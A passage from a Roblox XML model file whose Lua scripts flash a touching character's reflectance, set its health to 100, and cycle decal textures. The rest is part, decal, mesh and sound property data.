part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(2)

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0


wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(1)


wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0


	end
	end

end

script.Parent.Touched:connect(onTouched)
</string>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX19">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">37uaea2t</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="StockSound" referent="RBX20">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">eyhz</string>
						<float name="Pitch">1</float>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
		</Item>
		<Item class="Part" referent="RBX21">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1003</int>
				<CoordinateFrame name="CFrame">
					<X>-8.19999981</X>
					<Y>5.60000038</Y>
					<Z>33</Z>
					<R00>0</R00>
					<R01>-1</R01>
					<R02>0</R02>
					<R10>-1</R10>
					<R11>0</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Infected</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">9</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>4</X>
					<Y>0.400000006</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
			<Item class="Script" referent="RBX22">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">Script</string>
					<string name="Source">w=.03
d=script.Parent.Decal
while true do
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439031&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439041&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439027&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439041&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439027&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439031&quot;
end</string>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="StockSound" referent="RBX23">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">udcr5c0u3</string>
						<float name="Pitch">1</float>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
			<Item class="Script" referent="RBX24">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">Script</string>
					<string name="Source">w=.03
d=script.Parent.Decal2
while true do
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439031&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439041&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439027&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439041&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439027&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439031&quot;
end</string>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="StockSound" referent="RBX25">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">iyfy2r</string>
						<float name="Pitch">1</float>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
			<Item class="Decal" referent="RBX26">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=9439031</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="StockSound" referent="RBX27">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">9sim</string>
						<float name="Pitch">1</float>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
			<Item class="Decal" referent="RBX28">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal2</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=9439031</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="StockSound" referent="RBX29">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">ejg7aef</string>
						<float name="Pitch">1</float>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
			<Item class="BlockMesh" referent="RBX30">
				<Properties>
					<float name="Bevel">0</float>
					<float name="Bevel Roundness">0</float>
					<float name="Bulge">0</float>
					<token name="LODX">2</token>
					<token name="LODY">2</token>
					<string name="Name">Mesh</string>
					<Vector3 name="Offset">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<Vector3 name="Scale">
						<X>1</X>
						<Y>0</Y>
						<Z>5</Z>
					</Vector3>
					<Vector3 name="VertexColor">
						<X>1</X>
						<Y>1</Y>
						<Z>1</Z>
					</Vector3>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="StockSound" referent="RBX31">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">vh4np</string>
						<float name="Pitch">1</float>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
			<Item class="Script" referent="RBX32">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">Script</string>
					<string name="Source">function stick(x, y)
	weld = Instance.new(&quot;Weld&quot;) 

	weld.Part0 = x
	weld.Part1 = y

	local HitPos = x.Position

	local CJ = CFrame.new(HitPos) 
	local C0 = x.CFrame:inverse() *CJ 
	local C1 = y.CFrame:inverse() * CJ 

	weld.C0 = C0 
	weld.C1 = C1 
	
	weld.Parent = x
end

function onTouched(part)
	local h = part.Parent:findFirstChild(&quot;Humanoid&quot;)
	if h~=nil then
wait(0.001)h.Health = 100
children = h.Parent:children()

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(2)

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0


wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(1)


wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0


	end
	end

end

script.Parent.Touched:connect(onTouched)
</string>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="StockSound" referent="RBX33">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">37uaea2t</string>
						<float name="Pitch">1</float>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
			<Item class="StockSound" referent="RBX34">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">eyhz</string>
					<float name="Pitch">1</float>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Model" referent="RBX35">
			<Properties>
				<CoordinateFrame name="ModelInPrimary">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
